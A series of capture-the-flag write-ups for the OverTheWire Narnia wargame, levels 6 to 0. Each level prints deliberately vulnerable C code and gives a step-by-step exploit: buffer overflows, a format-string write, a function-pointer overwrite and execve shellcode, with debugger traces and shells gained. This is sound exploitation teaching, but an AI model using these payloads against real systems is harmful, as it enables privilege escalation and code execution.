OverTheWire.org - Narnia - Level 6 Writeup

The vulnerable code for this level is

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern char **environ;

// tired of fixing values...
// - morla
unsigned long get_sp(void) {
       __asm__("movl %esp,%eax\n\t"
               "and $0xff000000, %eax"
               );
}

int main(int argc, char *argv[]){
        char b1[8], b2[8];
        int  (*fp)(char *)=(int(*)(char *))&puts, i;

        if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }

        /* clear environ */
        for(i=0; environ[i] != NULL; i++)
                memset(environ[i], '\0', strlen(environ[i]));
        /* clear argz    */
        for(i=3; argv[i] != NULL; i++)
                memset(argv[i], '\0', strlen(argv[i]));

        strcpy(b1,argv[1]);
        strcpy(b2,argv[2]);
        //if(((unsigned long)fp & 0xff000000) == 0xff000000)
        if(((unsigned long)fp & 0xff000000) == get_sp())
                exit(-1);
        setreuid(geteuid(),geteuid());
    fp(b1);

        exit(1);
}

The executable use the stack to allocate:
  • 8 bytes buffer "b1"
  • 8 bytes buffer "b2"
  • a pointer "fp" to the function puts() that write b1 to the stdout
We can control the buffers b1 and b2 by means of command line arguments argv[1] and argv[2] because there are two unsafe strcpy() functions.
Just before exiting, the executable calls puts() using the pointer fp with b1 as parameter

Using parameters longer than 8 bytes we can overwrite the function pointer fp and
change the flow of execution.
But there is a protection code at line 31: it checks that the pointer
doesn't beging with 0xff.
If it begins with 0xff it exits immediately without executing the funciton pointed by fp.

Let's try to play with command line parameters in gdb.
Let's disassemble, put a break just before the fp(b1), set an input composed by 7x"A" and 8x "B" , run and look at the stack when the debugger break:

narnia6@narnia:~$ gdb /narnia/narnia6
.....
Reading symbols from /narnia/narnia6...(no debugging symbols found)...done.
(gdb) disassemble main
Dump of assembler code for function main:
...
  0x080486d8 <+304>:   call   0x8048450 <setreuid@plt>
   0x080486dd <+309>:   add    $0x8,%esp
   0x080486e0 <+312>:   lea    -0x14(%ebp),%eax
   0x080486e3 <+315>:   push   %eax
   0x080486e4 <+316>:   mov    -0xc(%ebp),%eax
   0x080486e7 <+319>:   call   *%eax
   0x080486e9 <+321>:   add    $0x4,%esp
   0x080486ec <+324>:   push   $0x1
   0x080486ee <+326>:   call   0x8048440 <exit@plt>
End of assembler dump.
(gdb) set args "AAAAAAA" "BBBBBBBB"
(gdb) break *0x080486e7
Breakpoint 1 at 0x80486e7
(gdb) r
Starting program: /narnia/narnia6 "AAAAAAA" "BBBBBBBB"

Breakpoint 1, 0x080486e7 in main ()
(gdb) info registers
eax            0x8048430        134513712
ecx            0x36b6   14006
edx            0x0      0
ebx            0x36b6   14006
esp            0xffffd6a8       0xffffd6a8
ebp            0xffffd6c8       0xffffd6c8
esi            0x3      3
edi            0xf7fc5000       -134459392
eip            0x80486e7        0x80486e7 <main+319>
eflags         0x286    [ PF SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
(gdb)  x/10w 0xffffd6a8
0xffffd6a8:     0xffffd6b4      0x42424242      0x42424242      0x41414100
0xffffd6b8:     0x00414141      0x08048430      0x00000003      0x00000000
0xffffd6c8:     0x00000000      0xf7e2a286
(gdb) x/wx 0x08048430
0x8048430 <puts@plt>:   0x99c825ff


The flow pause just before calling fp(b1), which is the line "0x080486e7 <+319>: call *%eax"
The register eax contains  address 0x08048430.
This memory location contains the PLT entry of puts
Furthermore this address is on the stack just after b1 buffer (the 0x41 sequence)
Let's try to use a longer command parameter like: "AAAAAAAACCCC" "BBBBBBBB"

(gdb) set args "AAAAAAAACCCC" "BBBBBBBB"
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia6 "AAAAAAAACCCC" "BBBBBBBB"

Breakpoint 1, 0x080486e7 in main ()
(gdb) info registers
eax            0x43434343       1128481603
ecx            0x36b6   14006
edx            0x0      0
ebx            0x36b6   14006
esp            0xffffd6a8       0xffffd6a8
ebp            0xffffd6c8       0xffffd6c8
esi            0x3      3
edi            0xf7fc5000       -134459392
eip            0x80486e7        0x80486e7 <main+319>
eflags         0x286    [ PF SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
(gdb) stepi
0x43434343 in ?? ()


So the execution flow is redirected to 0x43434343 (i.e. Hexcode of "CCCC")

Next step is to find some function that can be helpful  to execute something instead of printing like puts().
Let's say we want to use system().. Then search for it in memory:

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia6 "AAAAAAAACCCC" "BBBBBBBB"

Breakpoint 1, 0x080486e7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e4c850 <system>


The address of system is 0xf7e4c850. Let's reverse it (Intel is little-endian) and use it.
This time with ltrace:

narnia6@narnia:~$ ltrace /narnia/narnia6   $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') "BBBBBBBB"
...
geteuid()                                                                                        = 14006
geteuid()                                                                                        = 14006
setreuid(14006, 14006)                                                                           = 0
--- SIGCHLD (Child exited) ---


Nothing happens, quite disappointing...
But let's retry increasing the lenght of the second parameter adding a "C"

narnia6@narnia:~$ ltrace /narnia/narnia6   $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') "BBBBBBBBC"
setreuid(14006, 14006)                                                                           = 0
sh: 1: C: not found
--- SIGCHLD (Child exited) ---

OK... now it's tryng to execute a file "C"


It works and execute the file C!
So now replace "C" with "/bin/sh"

narnia6@narnia:~$  /narnia/narnia6   $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') "BBBBBBBB/bin/sh"
$ id
uid=14007(narnia7) gid=14006(narnia6) groups=14006(narnia6)
$ cat /etc/narnia_pass/narnia7
a*******u
$


This tecnique is still a buffer overflow but showed that there are other areas of memory for exploiting, not only stack.
Two of them are named GOT (Global offset table) and PLT (procedure Linkage Table) and can be used in some scenarios.

OverTheWire.org - Narnia - Level 5 Writeup

The vulnerable code is:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
        int i = 1;
        char buffer[64];

        snprintf(buffer, sizeof buffer, argv[1]);
        buffer[sizeof (buffer) - 1] = 0;
        printf("Change i's value from 1 -> 500. ");

        if(i==500){
                printf("GOOD\n");
        setreuid(geteuid(),geteuid());
                system("/bin/sh");
        }

        printf("No way...let me give you a hint!\n");
        printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
        printf ("i = %d (%p)\n", i, &i);
        return 0;
}

The interesting code is between line 13 and 16
If we are able to change the value of variable i from 1 to 500 we get a shell

i is stored on the stack just after buf[64] that we can control as comman line argument.
But note that it's not a buffer overflow: the istruction we can use to overwrite variable i is not a buffer copy (like a strcpy()), but a snprintf()
Could it be a format string vulnerability and not a buffer overflow?

Format string can be eploited by means of "%n" and "%x" format specifier of C *printf() functions.

  • %x reads and print the value from the current buffer pointer.
  • %n reads the value stored in the current buffer pointer and write to that memory location the number of characters already printed

Let's try with a sample format string with an initial string "AAAA" followed by some "%x", oviously inside gdb:
(gdb) r
Starting program: /narnia/narnia5 $(python -c 'print "AAAA%x%x"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAA4141414131343134] (63)
i = 1 (0xffffd6c0)
[Inferior 1 (process 22454) exited normally]
(gdb)

In this case the first %x  read the first four bytes of buffer and printed them (41414141 is the hex representation of ASCII "AAAA"). The second %x reads the bytes 4-8 of buffer, that and prints them (3134 is the hex representation of ASCII "41", little-endian architecture)

Now let's add a break to the line after snprintf() function and then use a couple of format strings that contains a valid memory address on the stack like "0xffffdef4") and add a "%n"

  •  "\xf4\xde\xff\xff%n"
  •  "\xf4\xde\xff\xffBBBB%n"

Note that second string adds 4 ASCII byte to be printed and the memory address is reversed because Intel is little-endian:

(gdb) disassemble main
Dump of assembler code for function main:
   0x0804850b <+0>:     push   %ebp
   0x0804850c <+1>:     mov    %esp,%ebp
   0x0804850e <+3>:     push   %ebx
....
  0x08048528 <+29>:    call   0x80483f0 <snprintf@plt>
   0x0804852d <+34>:    add    $0xc,%esp
....
End of assembler dump.
(gdb) break *0x0804852d
Breakpoint 1 at 0x804852d
(gdb) set args $(python -c 'print "\xf4\xde\xff\xff%n"')
(gdb) r
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x00000004
(gdb) set args $(python -c 'print "\xf4\xde\xff\xffBBBB%n"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xffBBBB%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x00000008

We were able to write the number 4 into 0xffffdef4 memory location. 4 is the number of bytes before the "%n "
With the second strings we wrote 8 bytes (the 4 bytes of the memory location in the buffer + 4 "B")

we can use this tecnique to write 500 to i variable, but we have to

  • find the i variable location on stack
  • Craft a format string shorter than 64 bytes that writes 500 bytes (more or less) and then issue a %x to the correct memory location

The first point is quite easy: the vulnerable code prints it (0xffffd6d0)

narnia5@narnia:~$ /narnia/narnia5 "AAAAAAAAAAAAAAAAAAAAAAAAA%x"
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAAAAAAAAAAAAAAAAAAAAAA41414141] (33)
i = 1 (0xffffd6d0)

The second point is a little harder, so let's go back to gdb and try with some sequences  that use also %x:

  • "\xf4\xde\xff\xff\xf4\xde\xff\xff%10x%n"
  • "\xf4\xde\xff\xff\xf4\xde\xff\xff%100x%n"

The first will print

(gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%10x%n"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%10x%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x00000012
(gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%100x%n"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%100x%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x0000006c

With different %x formats we are able to write different values
We have to write 500 (hex value: 0x1f4), let's do some tries in gdb( i.e. with 490 and more)

(gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%490x%n"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%490x%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x000001f2
(gdb) set args $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%492x%n"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia5 $(python -c 'print "\xf4\xde\xff\xff\xf4\xde\xff\xff%492x%n"')

Breakpoint 1, 0x0804852d in main ()
(gdb) x/wx 0xffffdef4
0xffffdef4:     0x000001f4
Seems that 493 is the good number
Now let's try with changing the memory address to the  variable address (0xffffd6e0) "\xe0\xd6\xff\xff\xe0\xd6\xff\xff%492x%n":

narnia5@narnia:~$ /narnia/narnia5 $(python -c 'print "\xe0\xd6\xff\xff\xe0\xd6\xff\xff%490x%n"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [▒▒▒▒▒▒▒▒                                                       ] (63)
i = 498 (0xffffd6e0)
narnia5@narnia:~$ /narnia/narnia5 $(python -c 'print "\xe0\xd6\xff\xff\xe0\xd6\xff\xff%492x%n"')
Change i's value from 1 -> 500. GOOD
$ id
uid=14006(narnia6) gid=14005(narnia5) groups=14005(narnia5)
$ cat /etc/narnia_pass/narnia6
n********g
$




OverTheWire.org - Narnia - Level 4 Writeup

The vulnerable code is:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
    int i;
    char buffer[256];

    for(i = 0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));

    if(argc>1)
        strcpy(buffer,argv[1]);

    return 0;
}

It seems a basic stack overflow like level2 with a longer buffer, but before the vulnerable strcpy(), the executable cleans the environment variable.

Let's try to use the JMP ESP tecnique using the same address used in level2:
narnia4@narnia:~$ strace  /narnia/narnia4  $(python -c 'print "A"*264 + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
execve("/narnia/narnia4", ["/narnia/narnia4", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 17 vars */]) = 0
strace: [ Process PID=8400 runs in 32 bit mode. ]
brk(NULL)                               = 0x804a000
...
execve("/bin//sh", ["/bin//sh"], [/* 6 vars */]) = -1 EFAULT (Bad address)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xfffffff2} ---
+++ killed by SIGSEGV +++
Segmentation fault
It executes the shell but it results in an error, just like in level1

So why don't we use the same shellcode that worked for level1?

It was a longer shellcode that cleaned up the arguments of execve (apart the first parameter that is the string represeting what we want to execute: "/bin//sh"):
narnia4@narnia:~$ strace  /narnia/narnia4  $(python -c 'print "A"*264 + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"')
narnia4@narnia:~$ strace  /narnia/narnia4  $(python -c 'print "A"*264 + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"')
execve("/narnia/narnia4", ["/narnia/narnia4", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 17 vars */]) = 0
strace: [ Process PID=8441 runs in 32 bit mode. ]
brk(NULL)                               = 0x804a000
fcntl64(0, F_GETFD)                     = 0
fcntl64(1, F_GETFD)                     = 0
fcntl64(2, F_GETFD)                     = 0
....
write(2, "$ ", 2$ )                       = 2
read(0,

So it's working, the shell is executed and presents the prompt in the write(2, "$",) and waits for input in the read(0,

Now, without strace, we get a shell:
narnia4@narnia:~$   /narnia/narnia4  $(python -c 'print "A"*264 + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"')
$ id
uid=14004(narnia4) gid=14004(narnia4) euid=14005(narnia5) groups=14004(narnia4)
$ cat /etc/narnia_pass/narnia5
f*******y
$

OverTheWire.org - Narnia - Level 3 Writeup

The vulnerable code reads from a file whose name is supplied as argument from command line and it copies the content to /dev/null

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    int  ifd,  ofd;
    char ofile[16] = "/dev/null";
    char ifile[32];
    char buf[32];

    if(argc != 2){
        printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
        exit(-1);
    }

    /* open files */
    strcpy(ifile, argv[1]);
    if((ofd = open(ofile,O_RDWR)) < 0 ){
        printf("error opening %s\n", ofile);
        exit(-1);
    }

    if((ifd = open(ifile, O_RDONLY)) < 0 ){
        printf("error opening %s\n", ifile);
        exit(-1);
    }

    /* copy from file1 to file2 */
    read(ifd, buf, sizeof(buf)-1);
    write(ofd,buf, sizeof(buf)-1);
    printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

    /* close 'em */
    close(ifd);
    close(ofd);
    exit(1);

}

The vulnerability come from the filenames (input from user and output "Dev/null") that are stored on the stack.

If we supply an argument longer than 32 bytes we can overwrite the output file and change it from "/dev/null" to a controlled value.

Let's create a temporary directory in /tmp and do some try with strace
Try with 32 "A" followed by a "B" as parameter:
narnia3@narnia:~$ mkdir /tmp/narnia3z
narnia3@narnia:~$ cd  /tmp/narnia3z
narnia3@narnia:/tmp/narnia3z$ strace /narnia/narnia3 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"
execve("/narnia/narnia3", ["/narnia/narnia3", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 18 vars */]) = 0
strace: [ Process PID=7806 runs in 32 bit mode. ]
....
open("B", O_RDWR)                       = -1 ENOENT (No such file or directory)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL)                               = 0x804a000
brk(0x806b000)                          = 0x806b000
write(1, "error opening B\n", 16error opening B
)       = 16
exit_group(-1)                          = ?
+++ exited with 255 +++

It tries to open a file "B" with write permission but there is no such file
Let's create it with 777 permission and retry:
narnia3@narnia:/tmp/narnia3z$ touch B
narnia3@narnia:/tmp/narnia3z$ chmod 777 B
narnia3@narnia:/tmp/narnia3z$ strace /narnia/narnia3 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"
execve("/narnia/narnia3", ["/narnia/narnia3", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 18 vars */]) = 0
...
open("B", O_RDWR)                       = 3
open("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB", O_RDONLY) = -1 ENOENT (No such file or directory)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL)                               = 0x804a000
brk(0x806b000)                          = 0x806b000
write(1, "error opening AAAAAAAAAAAAAAAAAA"..., 48error opening AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
) = 48
exit_group(-1)                          = ?
+++ exited with 255 +++

Now it's able to open B in RDWR mode but it cannot open the inptut file in RDONLY mode.
Notice that the filename is "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB" (with a final "B")

We can create a symoblic link "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB" that points to the actual password file (/etc/narnia_pass/narnia4)

Then execute the vulnerable code without strace and dump the content of file "B" (with the password inside):
narnia3@narnia:/tmp/narnia3z$ ln -s /etc/narnia_pass/narnia4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
narnia3@narnia:/tmp/narnia3z$  /narnia/narnia3 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"
copied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB to a safer place... (B)
narnia3@narnia:/tmp/narnia3z$ cat B
t******i
narnia3@narnia:/tmp/narnia3z$

OverTheWire.org - Narnia - Level 2 Writeup

This one is the very classic stack buffer overflow.
Let's look at the source code:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}
The vulnerability is in the strcpy() function at line 12.
It copies a supplied string (first parameter in command line) into buf[128].
Putting more than 128 bytes into buf will result in a buffer overflow.

We can overwrite the return address of the main function so we can control where EIP is redirect when the main function return.
The goal is to redirect EIP to the memory location of the argument we can control.
The basic scheme is to supply a argument that contains a shellcode (execve("/bin//sh") and  the memory location where this shellcode resides.

Let's do it inside the GNU debugger (gdb) and use a buffer of 128 "A", followed by "BBBB", "CCCC" etc...


arnia2@narnia:~$ gdb /narnia/narnia2
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /narnia/narnia2...(no debugging symbols found)...done.
(gdb) set args $(python -c 'print "A"*128 + "BBBB" + "CCCC" + "DDDD" + "EEEE"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "A"*128 + "BBBB" + "CCCC" + "DDDD" + "EEEE"')

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()

The argument overflows the buffer with the "CCCC" strings and it permits to control flow execution.

There are a some options available to exploit this overflow to run arbitrary code.
The main issue of this vulnerabilities is that we need to know where the buffer is located in memory.

One option is to guess where the shellcode will be located in memory: it will be  on the stack but we don't know exactly the address before the real execution of the code.
We may need to guess the address by trying a reasonable address and repeat until we find the location of the buffer
This process can be easily repeated with a script and can be made more reliable by adding a NOP sled ("0x90") in front of the shellcode.
So the buffer can be "\x90" * 105 + 23-byte-shellcode + "BBBB" + "Guessed memory address".

A better approach is to use the JMP ESP tecnique, which only requires one try.

Getting back to gdb, we show the registers values and we look at memory content at the location pointed by  ESP registers

(gdb) info registers
eax            0x0      0
ecx            0x7fffff6f       2147483503
edx            0xf7fc6870       -134453136
ebx            0x0      0
esp            0xffffd660       0xffffd660
ebp            0x42424242       0x42424242
esi            0x2      2
edi            0xf7fc5000       -134459392
eip            0x43434343       0x43434343
eflags         0x10286  [ PF SF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99
(gdb) x/10x 0xffffd660
0xffffd660:     0x44444444      0x45454545      0xffffd700      0x00000000
0xffffd670:     0x00000000      0x00000000      0xf7fc5000      0xf7ffdc0c
0xffffd680:     0xf7ffd000      0x00000000

We find that, at the time of flow redirection, ESP points to the bytes in the buf just after the memory location we want to overwrite to modifiy the execution flow.

Why don't we find a way to execute a "jmp esp" instead of returning to an address that we don't know in advance? The exploit would be much more reliable and wouldn't require any guess.

The problem is to execute a "jmp esp" instead of redirecting execution.
We can do this by finding a "jmp esp" opcode (0xffe4) somewhere in memory with gdb (in the same session)
With the "info proc map" command we see the memory locations used by the process and we find the string 0xffe4 in the memory space where libc is loaded in the process:
We find such string at the memory location 0xf7fc4f97


(gdb) info proc map
process 5536
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /narnia/narnia2
         0x8049000  0x804a000     0x1000        0x0 /narnia/narnia2
         0x804a000  0x806b000    0x21000        0x0 [heap]
        0xf7e10000 0xf7e12000     0x2000        0x0
        0xf7e12000 0xf7fc3000   0x1b1000        0x0 /lib32/libc-2.24.so
        0xf7fc3000 0xf7fc5000     0x2000   0x1b0000 /lib32/libc-2.24.so
        0xf7fc5000 0xf7fc6000     0x1000   0x1b2000 /lib32/libc-2.24.so
        0xf7fc6000 0xf7fc9000     0x3000        0x0
        0xf7fd2000 0xf7fd4000     0x2000        0x0
        0xf7fd4000 0xf7fd7000     0x3000        0x0 [vvar]
        0xf7fd7000 0xf7fd9000     0x2000        0x0 [vdso]
        0xf7fd9000 0xf7ffc000    0x23000        0x0 /lib32/ld-2.24.so
        0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib32/ld-2.24.so
        0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib32/ld-2.24.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) find /b 0xf7fc3000, 0xf7fc5000, 0xff, 0xe4
0xf7fc4f97
1 pattern found.
(gdb) x/wx 0xf7fc4f97
0xf7fc4f97:     0xfc5be4ff

If we repeat this multiple times we find that the address of libc and of "jmp esp"is always the same.

So we build a new shellcode that overwrite the return address with the location of "jmp esp" followed by a shellcode.
The initial part of the buffer can be filled with anything (like "A")


"A"*132 + "\x97\x4f\xfc\xf7" + execve-shellcode


narnia2@narnia:~$  /narnia/narnia2  $(python -c 'print "A"*132 + "\x97\x4f\xfc\xf7" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
$ id
uid=14002(narnia2) gid=14002(narnia2) euid=14003(narnia3) groups=14002(narnia2)
$ cat /etc/narnia_pass/narnia3
v*******e
$

Overthewire.org - Narnia - Level1 Writeup

The vulnerable code for first level is narnia1 (and narnia1.c) located in /narnia/ directory:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

This code executes the code inserted in the EGG environment variable

We can build a shellcode that run execve("bin/sh")
There are many on the Internet. I chose one of the most popular (23 bytes long)

Below a shellcode inside C program that test that the shellcode is working
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#include <stdio.h>
#include <string.h>

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
    fprintf(stdout,"Length: %d\n",strlen(shellcode));
    (*(void(*)()) shellcode)();
    return 0;
}

Testing the shellcode is working

narnia1@narnia:/tmp/narnia1a$ gcc -m32 -fno-stack-protector -z execstack -Wl,-z,norelro shellcode.c -o shellcode
narnia1@narnia:/tmp/narnia1a$ ./shellcode
Length: 23
$ 



And then aplpying to the vulnerable code: 
narnia1@narnia:/tmp/narnia1a$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
narnia1@narnia:/tmp/narnia1a$  /narnia/narnia1
Trying to execute EGG!
Segmentation fault
narnia1@narnia:/tmp/narnia1a$



Unfortunatly it doesn't work!
let's try using strace to see what happens:

narnia1@narnia:/tmp/narnia1a$ strace /narnia/narnia1
execve("/narnia/narnia1", ["/narnia/narnia1"], [/* 19 vars */]) = 0
strace: [ Process PID=26513 runs in 32 bit mode. ]
....
execve("/bin//sh", ["/bin//sh"], [/* 88 vars */]) = -1 EFAULT (Bad address)


execve takes three parameters
- a pointer to the string with executable name
- a pointer to the argument array of the executable
- a pointer to the environment of the executable

In the minimal shellcode the execve is triggered with
- eax: contains syscall id (0x0b)
- ebx: contains a pointer to the executable (usually /bin//sh)
- ecx: contans a pointer to the argument

The minimal shellcode usually works but in this case the arguments seems to be a problem.

We can try with a better (and longer) shellcode that cleans up the passes only the executable path, with NULL argument and environment:

narnia1@narnia:/tmp/narnia1a$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"')
narnia1@narnia:/tmp/narnia1a$ strace /narnia/narnia1
execve("/narnia/narnia1", ["/narnia/narnia1"], [/* 19 vars */]) = 0
strace: [ Process PID=26537 runs in 32 bit mode. ]
....
execve("/bin//sh", NULL, NULL)          = 0
....
read(0, exit
"exit\n", 8192)                 = 5
ioctl(10, TIOCSPGRP, [2156])            = 0
setpgid(0, 2156)                        = 0
close(10)                               = 0
exit_group(0)                           = ?
+++ exited with 0 +++

narnia1@narnia:/tmp/narnia1a$  /narnia/narnia1
Trying to execute EGG!
$ id
uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14001(narnia1)
$ cat /etc/narnia_pass/narnia2
n********u
$

Et voilà

OverTheWire.org - Narnia - Level 0 Writeup

This is the first of a series of posts to show some exploitation tecniques.
There many sites that give you the chance to experiment: one of the best I've played with in the past is overthewire.org, which runs a number of different challenges. Some are web related, other are based on Linux shell.

Let's start with a basic Linux shell challenge: Narnia

Architecture is a Debian Linux x64 (kernel 4.18.12) where some files were compiled for x86 with no ASLR or other protection tecniques (like stack canary, etc..)

The vulnerable code for the first level is narnia0 (and narnia0.c) located in /narnia/ directory:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

If we are able to change the val variable from hexadecimal 0x41414141 to 0xdeadbeef we receive a shell with level1 privileges.

Clearly the vulnerability is in the scanf() function that permits to read 24 bytes of input and stores it in the array buf[20] that is 20 bytes long.

Submitting 24 bytes of input will completely overwrite the previous variable on the stack, i.e. the variable val, which is 4 bytes long.

So we have to submit 20 bytes (with no special characters like NULL, \n, \r) and then 4 bytes containing 0xdeadbeef.

